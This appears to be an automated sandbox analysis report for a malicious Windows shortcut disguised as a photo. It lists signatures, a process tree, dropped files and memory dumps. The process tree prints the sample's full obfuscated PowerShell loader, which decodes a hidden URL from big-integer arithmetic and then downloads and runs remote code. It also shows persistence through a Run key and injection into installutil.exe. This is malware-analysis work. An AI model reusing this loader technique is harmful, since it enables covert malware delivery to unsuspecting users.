Analysis
- max time kernel
150s - max time network
139s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
29/07/2026, 11:41
General
- Target photov_948493507827.lnk
- Size 2KB
- Sample260729-ntv8rashpc
- SHA256 8a4a22d42c0c21a4a7d56814227f5a9030c1314b02453fc8435c7aa462a4f809
Malware Config
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 7 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious use of AdjustPrivilegeToken 45 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_948493507827.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$cpjy7p=18;$ivzc=10;$ewso3o=50;$zrpb09p=[bigint]::Parse('74927255895085786963797206458641331420260');$f7z6ffhto=[bigint]::Parse('74926662727995328864830011401372182583547');$zrpb09p=$zrpb09p-$f7z6ffhto;$ag6k211o=@();while($zrpb09p -gt 0){$ag6k211o+=[char][int]([bigint]::Remainder($zrpb09p,256));$zrpb09p=[bigint]::Divide($zrpb09p,256)};.([scriptblock]::Create((irm(-join$ag6k211o))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Minimized -c "$cpjy7p=18;$ivzc=10;$ewso3o=50;$zrpb09p=[bigint]::Parse('74927255895085786963797206458641331420260');$f7z6ffhto=[bigint]::Parse('74926662727995328864830011401372182583547');$zrpb09p=$zrpb09p-$f7z6ffhto;$ag6k211o=@();while($zrpb09p -gt 0){$ag6k211o+=[char][int]([bigint]::Remainder($zrpb09p,256));$zrpb09p=[bigint]::Divide($zrpb09p,256)};.([scriptblock]::Create((irm(-join$ag6k211o))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Documents\bck_vhogt_zdr_upd_geefzd50eeeb9839748\psl.exe"C:\Users\Admin\Documents\bck_vhogt_zdr_upd_geefzd50eeeb9839748\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\pslservicewinx32" "C:\ProgramData\pslservicewinx32\psl.exe""1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\pslservicewinx32\psl.exe"C:\ProgramData\pslservicewinx32\psl.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
wkkfap_nsg_vr_ptbuqrw.zip
libiconv-2.dll
libidn2-0.dll
libintl-8.dll
libpsl-5.dll
libunistring-5.dll
msvcp140.dll
psl.exe
ucrtbase.dll
vcruntime140.dll
vcruntime140_1.dll
DCRCVDrv.sys
memory/2224-21-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-26-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-11-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-12-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-13-0x0000023932C00000-0x0000023932DC2000-memory.dmp
memory/2224-14-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-17-0x0000023932B30000-0x0000023932B4E000-memory.dmp
memory/2224-18-0x0000023932DD0000-0x0000023932E82000-memory.dmp
memory/2224-20-0x0000023932B50000-0x0000023932B5A000-memory.dmp
memory/2224-19-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-9-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-22-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-24-0x0000023932B90000-0x0000023932BB4000-memory.dmp
memory/2224-23-0x0000023932B90000-0x0000023932BBA000-memory.dmp
memory/2224-25-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-10-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-27-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-28-0x00000239333C0000-0x00000239338E8000-memory.dmp
memory/2224-29-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-30-0x0000023932B70000-0x0000023932B7A000-memory.dmp
memory/2224-31-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-33-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-34-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-8-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-7-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-6-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-5-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-2-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-1-0x0000023932610000-0x0000023932632000-memory.dmp
memory/2224-36-0x0000023932BA0000-0x0000023932BB2000-memory.dmp
memory/2224-79-0x00007FF9A5620000-0x00007FF9A5FC4000-memory.dmp
memory/2224-0-0x00007FF9A57AF000-0x00007FF9A57B0000-memory.dmp
memory/4592-234-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-190-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-123-0x0000000000540000-0x00000000005B0000-memory.dmp
memory/4592-125-0x0000000002820000-0x000000000283A000-memory.dmp
memory/4592-126-0x0000000004E30000-0x0000000004E5C000-memory.dmp
memory/4592-150-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-232-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-248-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-246-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-244-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-242-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-240-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-238-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-236-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-1387-0x00000000068C0000-0x0000000006E7A000-memory.dmp
memory/4592-230-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-228-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-226-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-224-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-222-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-220-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-218-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-216-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-214-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-212-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-210-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-1386-0x0000000006260000-0x00000000062F2000-memory.dmp
memory/4592-206-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-204-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-202-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-200-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-198-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-196-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-195-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-192-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-1382-0x0000000005110000-0x0000000005176000-memory.dmp
memory/4592-188-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-184-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-182-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-180-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-178-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-174-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-172-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-170-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-166-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-162-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-160-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-158-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-156-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-154-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-152-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-146-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-144-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-142-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-136-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-134-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-208-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-186-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-176-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-168-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-164-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-130-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-148-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-128-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-140-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-139-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-127-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4592-132-0x0000000004E30000-0x0000000004E56000-memory.dmp
memory/4744-1383-0x0000000000010000-0x000000000003D000-memory.dmp
memory/4744-105-0x0000000000010000-0x000000000003D000-memory.dmp
memory/5652-755-0x0000000000400000-0x0000000000470000-memory.dmp
memory/6072-124-0x00007FF61D6C0000-0x00007FF61D6D5000-memory.dmp